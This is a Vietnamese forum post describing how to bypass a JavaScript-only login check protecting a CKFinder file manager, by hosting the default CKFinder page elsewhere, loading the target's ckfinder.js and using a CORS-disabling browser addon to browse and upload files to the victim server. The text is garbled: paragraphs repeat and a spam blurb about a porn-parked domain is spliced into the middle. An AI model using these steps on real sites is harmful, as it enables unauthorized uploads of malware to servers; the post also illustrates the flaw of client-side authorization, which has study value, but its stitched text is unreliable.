Mtdev
Rìu Sắt
Hôm nay khai xuân nên chia sẻ với mọi người một cách để vượt qua cái gọi là check authorized trên ckfinder. cụ thể như sau.
Khi chúng ta vào file ckfinder.html thì nó ra một thông báo demo và ai cũng có thể thấy và upload file lên nó như hình bên dưới
Để ngăn việc bị người khác upload file mã độc hoặc rác một số lập trình viên dùng code như sau để chặn nó
phân tích code trên chúng ta thấy một vấn đề về bảo mật ở đây. code này dùng javascript để check một api xem đã login chưa ở cái chỗ
và đây chỉ đơn giản là code javascript nên nếu tôi dùng code khác trên host khác dạng mặc định thì sao?
tôi bắt đầu tải code mặc định của ckfinder về ngâm cứu
Tôi mang code này lên host của tôi và chạy thay
Thành
ta được 1 trang trắng
Để giải quyết vấn đề này thì đơn giản là dùng firefox cùng với addon CORS Everywhere
Sau khi cài và chạy thì tôi thoải mái đọc các thông tin file cũng như upload được file nên
Thật vi diệu và đây là một lỗ hổng hết sức nghiêm trọng
Khi chúng ta vào file ckfinder.html thì nó ra một thông báo demo và ai cũng có thể thấy và upload file lên nó như hình bên dưới
Để ngăn việc bị người khác upload file mã độc hoặc rác một số lập trình viên dùng code như sau để chặn nó
HTML:
<!DOCTYPE html>
<!--
Copyright (c) 2007-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or https://ckeditor.com/sales/license/ckfinder
-->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
<title>A21tours - File Browser</title>
</head>
<body>
<script src="ckfinder.js"></script>
<script>
loadCheckData("https://xxxxxx.com/rest_api/Admin/login", responCheckLogin);
function loadCheckData(url, cFunction) {
var xhttp;
xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
cFunction(this);
}
};
xhttp.open("GET", url, true);
xhttp.send();
}
function responCheckLogin(xhttp) {
var _checkReturn = xhttp.responseText;
if(_checkReturn == "true"){
CKFinder.start();
} else {
window.location.replace("https://xxxxxx.com/public/ckeditor/ckfinder/error.html");
}
}
</script>
</body>
</html>
phân tích code trên chúng ta thấy một vấn đề về bảo mật ở đây. code này dùng javascript để check một api xem đã login chưa ở cái chỗ
xxxxxx.com - xxx sex videos free hd porn Resources and Information.
xxxxxx.com is your first and best source for all of the information you’re looking for. From general topics to more of what you would expect to find here, xxxxxx.com has it all. We hope you find what you are searching for!
xxxxxx.com
và đây chỉ đơn giản là code javascript nên nếu tôi dùng code khác trên host khác dạng mặc định thì sao?
tôi bắt đầu tải code mặc định của ckfinder về ngâm cứu
HTML:
<!DOCTYPE html>
<!--
Copyright (c) 2007-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or https://ckeditor.com/sales/license/ckfinder
-->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
<title>CKFinder 3 - File Browser</title>
</head>
<body>
<script src="ckfinder.js"></script>
<script>
CKFinder.start();
</script>
</body>
</html>
JavaScript:
<script src="ckfinder.js"</script>
Thành
JavaScript:
<script src="https://xxxx.com/patch/ckfinder.js"></script>
ta được 1 trang trắng
Để giải quyết vấn đề này thì đơn giản là dùng firefox cùng với addon CORS Everywhere
Sau khi cài và chạy thì tôi thoải mái đọc các thông tin file cũng như upload được file nên
Thật vi diệu và đây là một lỗ hổng hết sức nghiêm trọng